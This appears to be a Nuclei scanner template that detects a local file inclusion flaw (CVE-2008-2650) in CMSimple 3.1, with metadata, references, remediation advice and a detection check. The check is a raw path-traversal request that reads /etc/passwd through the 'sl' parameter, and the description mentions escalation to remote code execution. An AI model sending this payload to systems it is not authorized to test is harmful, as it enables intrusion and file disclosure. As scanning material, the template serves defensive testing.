id: CVE-2008-2650 info: name: CMSimple 3.1 - Local File Inclusion author: pussycat0x severity: medium description: | CMSimple 3.1 is susceptible to local file inclusion via cmsimple/cms.php when register_globals is enabled which allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the sl parameter to index.php. NOTE: this can be leveraged for remote file execution by including adm.php and then invoking the upload action. NOTE: on 20080601, the vendor patched 3.1 without changing the version number. impact: | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system. remediation: | Upgrade CMSimple to a patched version or apply the necessary security patches provided by the vendor. reference: - http://www.cmsimple.com/forum/viewtopic.php?f=2&t=17 - http://web.archive.org/web/20140729144732/http://secunia.com:80/advisories/30463 - https://nvd.nist.gov/vuln/detail/CVE-2008-2650 - https://exchange.xforce.ibmcloud.com/vulnerabilities/42792 - https://exchange.xforce.ibmcloud.com/vulnerabilities/42793 classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P cvss-score: 6.8 cve-id: CVE-2008-2650 cwe-id: CWE-22 epss-score: 0.06344 epss-percentile: 0.92938 cpe: cpe:2.3:a:cmsimple:cmsimple:3.1:*:*:*:*:*:*:* metadata: max-request: 1 vendor: cmsimple product: cmsimple tags: cve,cve2008,lfi,cmsimple http: - raw: - | GET /index.php?sl=../../../../../../../etc/passwd%00 HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4b0a00483046022100baa8ee591c8440e6668b12c357528938dbbf22644498e33c452cc22f60aaccd70221008a9561bbba4b70a1ffd7025d54cd0280b0e3d8287aa26f643638916cf13ce84c:922c64590222798bb761d5b6d8e72950